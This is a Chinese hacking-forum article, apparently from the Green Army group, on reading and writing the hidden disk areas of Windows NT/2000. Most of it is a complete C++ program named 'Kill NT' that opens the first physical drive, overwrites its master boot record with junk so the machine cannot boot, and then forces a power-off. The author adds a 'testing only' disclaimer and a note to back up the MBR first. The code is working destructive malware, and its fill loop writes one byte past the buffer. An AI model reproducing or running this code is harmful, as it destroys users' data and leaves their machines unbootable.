NT,2000 下硬盘重要数据区读写 作者:病毒 发表于:绿色兵团
在WIN 9X下经常有这样一些“黑客”程序,此类程序通过一些“技巧”,
运行后会把硬盘一些重要数据区打乱,如MBR,BOOT等,使得机器无法引导。
但这些程序在NT,2000下则毫无效果,我们知道,NT,2000在RING 3下,如果
你试着直接访问硬盘的话,那么它会提示一个错误信息,并取消这样的操作。
那么在NT,2000下能否实现对硬盘隐藏的重要数据区读写呢?答案是肯定的,
这需要动态加载设备驱动来实现,和设备驱动程序打交道主要是通过CreateFile、
ReadFile、WriteFile和DeviceIoControl等Win32 API来进行的。(相信你有一定
的基础,这里不在阐述)。下面我们来看两个结构:DISK_GEOMETRY 这个结构,
用于装载与磁盘驱动器有关的信息。IOCTL_DISK_GET_DRIVE_GEOMETRY 这个
结构用于判断一个设备的属性。获知这些重要结构后,我们就可以通过以上
API来完成实际操作。下面给一个俺写的列子,运行此程序后将直接把硬盘
重要数据区MBR中程序替换,使得硬盘不能引导。请先用工具将硬盘MBR区保存。
//---------------------------------------------------------------------------
// Kill NT 此程序中代码只为测试,请合法使用,本人对其代码造成损害盖不负责
//
// 作者: 贾佳
//
// EMail: jiasys@21cn.com
//
//---------------------------------------------------------------------------
#include <vcl.h>
#include <winioctl.h>
#pragma hdrstop
#include "KILL_N.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
//关机函数
void ExitNT()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId,ReturnLength = 0;
LUID luidPrivilegeLUID;
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luidPrivilegeLUID);
NewState.PrivilegeCount=1;
NewState.Privileges[0].Luid=luidPrivilegeLUID;
NewState.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
HANDLE hDevice;
TCHAR hDevicename[64];
LPSTR szBuffer,drive;
//此结构见WIN32 SDK帮助
DISK_GEOMETRY Geometry;
unsigned long bytes,bread,count;
int i,j;
drive="0";
wsprintf(hDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
//加载设备
hDevice=CreateFile(hDevicename,GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
ShowMessage("打开设备出错");
ExitProcess(0);
}
//锁卷标
if(!DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL))
{
ShowMessage("锁卷标出错");
ExitProcess(0);
}
//检测设备有效性
if(!DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL))
{
ShowMessage("设备出错");
ExitProcess(0);
}
//分配内存
szBuffer=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
//替换引导扇区的内容
if(szBuffer!=NULL)
{
for(j=0;j<=512;j++)
szBuffer[j]='j';
bytes = 512;
}
//写MBR
if(!WriteFile(hDevice,szBuffer,bytes,&bread,NULL))
{
ShowMessage("写MBR出错");
ExitProcess(0);
}
//解锁
if(!DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL))
{
ShowMessage("解锁卷标出错");
ExitProcess(0);
}
//释放内存
HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuffer);
//关闭设备
CloseHandle(hDevice);
ExitNT();
}
//---------------------------------------------------------------------------
//判断是否为NT
void __fastcall TForm1::FormShow(TObject *Sender)
{
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
if(GetVersionEx(&osi))
{
if(osi.dwPlatformId!=VER_PLATFORM_WIN32_NT)
{
Button1->Enabled=false;
Application->MessageBox("你的操作系统不是NT,此程序无法正常运行","请在NT主机上运行",MB_OK|MB_ICONWARNING);
}
else
Button1->Enabled=true;
}
}
//---------------------------------------------------------------------------